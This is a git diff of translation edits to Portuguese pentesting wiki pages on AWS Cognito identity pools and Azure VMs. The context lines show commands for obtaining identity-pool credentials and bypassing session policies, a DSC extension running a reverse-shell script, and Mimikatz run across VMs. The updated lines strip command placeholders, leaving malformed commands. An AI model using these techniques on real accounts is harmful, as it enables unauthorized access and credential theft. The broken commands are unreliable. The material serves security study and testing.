diff --git a/src/images/arte.png b/src/images/arte.png index 57f392dbe..388ff8433 100644 Binary files a/src/images/arte.png and b/src/images/arte.png differ diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md index 464164711..dc6c540b0 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md @@ -2,9 +2,9 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Informações Básicas +## Basic Information -Os pools de identidade desempenham um papel crucial ao permitir que seus usuários **adquiram credenciais temporárias**. Essas credenciais são essenciais para acessar vários serviços da AWS, incluindo, mas não se limitando a, Amazon S3 e DynamoDB. Um recurso notável dos pools de identidade é o suporte tanto para usuários anônimos quanto para uma variedade de provedores de identidade para autenticação de usuários. Os provedores de identidade suportados incluem: +Os pools de identidade desempenham um papel crucial ao permitir que seus usuários **adquiram credenciais temporárias**. Essas credenciais são essenciais para acessar vários serviços da AWS, incluindo, mas não se limitando a, Amazon S3 e DynamoDB. Um recurso notável dos pools de identidade é seu suporte tanto para usuários convidados anônimos quanto para uma variedade de provedores de identidade para autenticação de usuários. Os provedores de identidade suportados incluem: - Amazon Cognito user pools - Opções de login social, como Facebook, Google, Login com Amazon e Sign in with Apple @@ -41,13 +41,13 @@ Isso é **útil para manter informações de um usuário** (que sempre usará o Além disso, o serviço **cognito-sync** é o serviço que permite **gerenciar e sincronizar essas informações** (nos conjuntos de dados, enviando informações em streams e mensagens SNS...). -### Ferramentas para pentesting +### Tools for pentesting - [Pacu](https://github.com/RhinoSecurityLabs/pacu), o framework de exploração da AWS, agora inclui os módulos "cognito\_\_enum" e "cognito\_\_attack" que automatizam a enumeração de todos os ativos do Cognito em uma conta e sinalizam configurações fracas, atributos de usuário usados para controle de acesso, etc., e também automatizam a criação de usuários (incluindo suporte a MFA) e escalonamento de privilégios com base em atributos personalizados modificáveis, credenciais de pool de identidade utilizáveis, funções assumíveis em tokens de id, etc. Para uma descrição das funções dos módulos, veja a parte 2 do [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instruções de instalação, veja a página principal do [Pacu](https://github.com/RhinoSecurityLabs/pacu). -#### Uso +#### Usage Exemplo de uso do cognito\_\_attack para tentar a criação de usuários e todos os vetores de privesc contra um determinado pool de identidade e cliente de pool de usuários: ```bash @@ -116,7 +116,7 @@ aws cognito-identity get-credentials-for-identity --identity-id -- ### Fluxo de Autenticação Aprimorado vs Básico -A seção anterior seguiu o **fluxo de autenticação aprimorado padrão**. Esse fluxo define uma **política de sessão** [**restritiva**](../../aws-basic-information/#session-policies) para a sessão do papel IAM gerado. Essa política permitirá que a sessão [**use os serviços desta lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (mesmo que o papel tenha acesso a outros serviços). +A seção anterior seguiu o **fluxo de autenticação aprimorado padrão**. Este fluxo define uma **política de sessão** [**restritiva**](../../aws-basic-information/index.html#session-policies) para a sessão do papel IAM gerado. Esta política permitirá apenas que a sessão [**use os serviços desta lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (mesmo que o papel tenha acesso a outros serviços). No entanto, há uma maneira de contornar isso; se o **pool de Identidade tiver "Fluxo Básico (Clássico)" habilitado**, o usuário poderá obter uma sessão usando esse fluxo que **não terá essa política de sessão restritiva**. ```bash @@ -135,41 +135,41 @@ aws sts assume-role-with-web-identity --role-arn "arn:aws:iam:::role/ `An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.` -Tendo um conjunto de credenciais IAM, você deve verificar [quais acessos você tem](../../#whoami) e tentar [escalar privilégios](../../aws-privilege-escalation/). +Tendo um conjunto de credenciais IAM, você deve verificar [quais acessos você tem](../../index.html#whoami) e tentar [escalar privilégios](../../aws-privilege-escalation/index.html). ### Autenticado > [!NOTE] > Lembre-se de que **usuários autenticados** provavelmente terão **permissões diferentes**, então se você puder **se inscrever dentro do aplicativo**, tente fazer isso e obtenha as novas credenciais. -Também pode haver **funções** disponíveis para **usuários autenticados acessando o Identity Pool**. +Também pode haver **papéis** disponíveis para **usuários autenticados acessando o Identity Pool**. Para isso, você pode precisar ter acesso ao **provedor de identidade**. Se for um **Cognito User Pool**, talvez você possa abusar do comportamento padrão e **criar um novo usuário você mesmo**. > [!TIP] -> A **função IAM Cognito autenticada criada via** é chamada por padrão `Cognito_Auth_Role` +> O **papel autenticado do IAM Cognito criado via** é chamado por padrão `Cognito_Auth_Role` De qualquer forma, o **exemplo a seguir** espera que você já tenha feito login em um **Cognito User Pool** usado para acessar o Identity Pool (não se esqueça de que outros tipos de provedores de identidade também podem ser configurados).
aws cognito-identity get-id \
---identity-pool-id <identity_pool_id> \
---logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+--identity-pool-id  \
+--logins cognito-idp..amazonaws.com/=
 
 # Obtenha o identity_id da resposta do comando anterior
 aws cognito-identity get-credentials-for-identity \
---identity-id <identity_id> \
---logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+--identity-id  \
+--logins cognito-idp..amazonaws.com/=
 
 
-# No IdToken você pode encontrar funções às quais um usuário tem acesso devido aos Grupos do User Pool
-# Use o --custom-role-arn para obter credenciais para uma função específica
+# No IdToken você pode encontrar os papéis que um usuário tem acesso devido aos Grupos do User Pool
+# Use o --custom-role-arn para obter credenciais para um papel específico
 aws cognito-identity get-credentials-for-identity \
---identity-id <identity_id> \
-    --custom-role-arn <role_arn> \
-    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
+--identity-id  \
+    --custom-role-arn  \
+    --logins cognito-idp..amazonaws.com/=
 
> [!WARNING] -> É possível **configurar diferentes funções IAM dependendo do provedor de identidade** com o qual o usuário está logado ou até mesmo apenas dependendo **do usuário** (usando claims). Portanto, se você tiver acesso a diferentes usuários através do mesmo ou de diferentes provedores, pode ser **vale a pena fazer login e acessar as funções IAM de todos eles**. +> É possível **configurar diferentes papéis IAM dependendo do provedor de identidade** que o usuário está logado ou até mesmo apenas dependendo **do usuário** (usando claims). Portanto, se você tiver acesso a diferentes usuários através do mesmo ou de diferentes provedores, pode ser **vale a pena fazer login e acessar os papéis IAM de todos eles**. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/vms/README.md b/src/pentesting-cloud/azure-security/az-services/vms/README.md index 1684539ec..ffe4455d3 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/README.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/README.md @@ -2,9 +2,9 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Informações Básicas sobre Rede do Azure +## Informações Básicas sobre Redes Azure -As redes do Azure contêm **diferentes entidades e maneiras de configurá-las.** Você pode encontrar uma breve **descrição,** **exemplos** e comandos de **enumeração** das diferentes entidades de rede do Azure em: +As redes Azure contêm **diferentes entidades e maneiras de configurá-las.** Você pode encontrar uma breve **descrição,** **exemplos** e comandos de **enumeração** das diferentes entidades de rede Azure em: {{#ref}} az-azure-network.md @@ -33,11 +33,11 @@ As Máquinas Virtuais (VMs) do Azure são servidores **baseados em nuvem flexív - **Alertas**: É possível receber automaticamente alertas por e-mail ou aplicativo móvel quando algo acontece na VM. Regras padrão: - Porcentagem de CPU é maior que 80% - Bytes de Memória Disponível é menor que 1GB -- Porcentagem de IOPS Consumidos de Discos de Dados é maior que 95% -- Porcentagem de IOPS Consumidos do SO é maior que 95% +- Porcentagem de IOPS de Discos de Dados Consumidos é maior que 95% +- Porcentagem de IOPS do SO Consumidos é maior que 95% - Rede Total é maior que 500GB - Rede Saída Total é maior que 200GB -- VmAvailabilityMetric é menor que 1 +- Métrica de Disponibilidade da VM é menor que 1 - **Monitor de Saúde**: Por padrão, verifica o protocolo HTTP na porta 80 - **Bloqueios**: Permite bloquear uma VM para que ela possa ser apenas lida (**Bloqueio Somente Leitura**) ou que possa ser lida e atualizada, mas não excluída (**Bloqueio Não Pode Excluir**). - A maioria dos recursos relacionados a VM **também suporta bloqueios** como discos, instantâneas... @@ -77,7 +77,7 @@ Get-AzDisk -Name -ResourceGroupName ## Imagens, Imagens de Galeria e Pontos de Restauração Uma **imagem de VM** é um modelo que contém o sistema operacional, configurações de aplicativo e sistema de arquivos necessários para **criar uma nova máquina virtual (VM)**. A diferença entre uma imagem e um instantâneo de disco é que um instantâneo de disco é uma cópia somente leitura, em um ponto no tempo, de um único disco gerenciado, usado principalmente para backup ou solução de problemas, enquanto uma imagem pode conter **múltiplos discos e é projetada para servir como um modelo para criar novas VMs**.\ -As imagens podem ser gerenciadas na **seção de Imagens** do Azure ou dentro das **galerias de computação do Azure**, que permitem gerar **versões** e **compartilhar** a imagem entre locatários ou até torná-la pública. +As imagens podem ser gerenciadas na **seção de Imagens** do Azure ou dentro de **galerias de computação do Azure**, que permitem gerar **versões** e **compartilhar** a imagem entre locatários ou até torná-la pública. Um **ponto de restauração** armazena a configuração da VM e **instantâneas consistentes de aplicativo em um ponto no tempo** de todos os discos gerenciados anexados à VM. Está relacionado à VM e seu propósito é ser capaz de restaurar essa VM para como ela estava naquele ponto específico. @@ -144,7 +144,7 @@ Get-AzRestorePointCollection -Name -ResourceGroupName " -VMName "" -Na DesiredStateConfiguration (DSC) -Esta é uma **extensão de VM** que pertence à Microsoft e utiliza PowerShell DSC para gerenciar a configuração de VMs Windows no Azure. Portanto, pode ser usada para **executar comandos arbitrários** em VMs Windows através desta extensão: +Esta é uma **extensão de VM** que pertence à Microsoft e usa PowerShell DSC para gerenciar a configuração de VMs Windows no Azure. Portanto, pode ser usada para **executar comandos arbitrários** em VMs Windows através desta extensão: ```bash # Content of revShell.ps1 Configuration RevShellConfig { @@ -727,8 +727,8 @@ Estes são **dados persistentes** que podem ser recuperados do endpoint de metad É possível passar alguns dados para a VM que serão armazenados em caminhos esperados: -- Em **Windows**, os dados personalizados são colocados em `%SYSTEMDRIVE%\AzureData\CustomData.bin` como um arquivo binário e não são processados. -- Em **Linux**, eram armazenados em `/var/lib/waagent/ovf-env.xml` e agora estão armazenados em `/var/lib/waagent/CustomData/ovf-env.xml` +- No **Windows**, os dados personalizados são colocados em `%SYSTEMDRIVE%\AzureData\CustomData.bin` como um arquivo binário e não são processados. +- No **Linux**, eram armazenados em `/var/lib/waagent/ovf-env.xml` e agora estão armazenados em `/var/lib/waagent/CustomData/ovf-env.xml` - **Agente Linux**: Ele não processa dados personalizados por padrão, é necessária uma imagem personalizada com os dados habilitados. - **cloud-init:** Por padrão, ele processa dados personalizados e esses dados podem estar em [**vários formatos**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Ele poderia executar um script facilmente enviando apenas o script nos dados personalizados. - Eu tentei que tanto o Ubuntu quanto o Debian executassem o script que você colocou aqui. @@ -793,7 +793,7 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt ## Acesso Não Autenticado {{#ref}} -../../az-unauthenticated-enum-and-initial-entry/az-vms-unath.md +../../az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md {{#endref}} ## Pós Exploração